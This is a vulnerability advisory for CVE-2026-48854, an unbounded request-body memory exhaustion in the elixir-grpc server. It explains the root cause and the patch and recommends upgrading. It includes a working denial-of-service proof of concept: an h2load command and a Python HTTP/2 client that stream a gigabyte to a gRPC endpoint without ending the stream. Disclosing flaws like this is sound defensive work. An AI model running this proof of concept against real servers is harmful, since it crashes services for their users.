CVE-2026-48854: elixir-grpc Unbounded Request Body Memory Exhaustion
Any unauthenticated client can crash an Elixir gRPC server by streaming a large or slow-trickle HTTP/2 request body, because the server accumulates every chunk in memory with no size cap and no…

The problem
The function read_full_body/3 in lib/grpc/server/adapters/cowboy/handler.ex reads HTTP/2 DATA frames in a recursive loop and concatenates each chunk with body <> data, with no running-total check and no configurable maximum body size.
When a client omits the grpc-timeout request header, the per-chunk read timeout falls back to :infinity. The two missing controls compound: a fast client can push multi-gigabyte payloads directly into BEAM memory, while a slow client can trickle data forever, holding the connection open indefinitely.
A single unauthenticated connection is sufficient to exhaust server memory and crash the node.
Proof of concept
A working proof-of-concept for CVE-2026-48854 in grpc, with the exact payload below.
# Open an HTTP/2 connection and POST to any unary RPC path.
# Omit the grpc-timeout header entirely.
# Stream a large body in chunks without sending END_STREAM.
#
# Example using h2load (nghttp2):
h2load \
--h1 \
-d /dev/zero \
-n 1 -c 1 -m 1 \
-H 'content-type: application/grpc+proto' \
http://target:50051/helloworld.Greeter/SayHello
# Or with a minimal Python h2 client:
import socket, ssl, h2.connection, h2.config, h2.events, time
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(['h2'])
sock = ctx.wrap_socket(socket.create_connection(('target', 50051)), server_hostname='target')
conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
conn.initiate_connection()
sock.sendall(conn.data_to_send())
# Send HEADERS — no grpc-timeout header
conn.send_headers(
stream_id=1,
headers=[
(':method', 'POST'),
(':path', '/helloworld.Greeter/SayHello'),
(':scheme', 'https'),
(':authority', 'target:50051'),
('content-type', 'application/grpc+proto'),
# grpc-timeout intentionally omitted
]
)
sock.sendall(conn.data_to_send())
# Stream 1 GiB in 64 KiB chunks, never sending END_STREAM
chunk = b'\x00' * 65536
for _ in range(16384): # 16384 * 64 KiB = 1 GiB
conn.send_data(stream_id=1, data=chunk, end_stream=False)
sock.sendall(conn.data_to_send())
time.sleep(0) # remove sleep to blast; add sleep to trickleThe root cause (CWE-770) is the absence of two independent guards in read_full_body/3. First, no byte counter is maintained across loop iterations, so Cowboy's flow-control WINDOW_UPDATE frames are issued freely after each read, inviting the client to push more data.
Second, timeout_left_opt(nil) returned :infinity, so every :cowboy_req.read_body/2 call had an unlimited deadline when the attacker omitted grpc-timeout.
The patch (commit 49e18c3, PR #542) introduced a max_body_size server option (defaulting to a finite value) that is threaded into read_full_body/3 as an accumulator guard. Once the running total exceeds the limit, the server returns an error before issuing another WINDOW_UPDATE, cutting off the attacker's ability to keep growing server memory.
The fix
Upgrade to grpc >= 1.0.0 on Hex.pm. If you cannot upgrade immediately, place the server behind a reverse proxy (e.g. Nginx, Envoy) configured with a strict client_max_body_size / max_request_bytes limit. In v1.0.0 you can also tune the limit explicitly at startup: GRPC.Server.start_endpoint(MyEndpoint, port, max_body_size: 4 * 1024 * 1024).
Reported by Peter Ullrich.
Related research
- criticalCVE-2026-48853CVE-2026-48853: erlang/grpc Unsafe Deserialization Leading to RCE and DoS
- highCVE-2026-53430CVE-2026-53430: elixir-grpc Unbounded gzip Decompression Bomb (DoS)
- highCVE-2026-48597CVE-2026-48597: Tesla Mint Adapter BEAM Atom Table Exhaustion via Untrusted URL Scheme
- highCVE-2026-49754CVE-2026-49754: Mint HTTP/2 CONTINUATION Flood Memory Exhaustion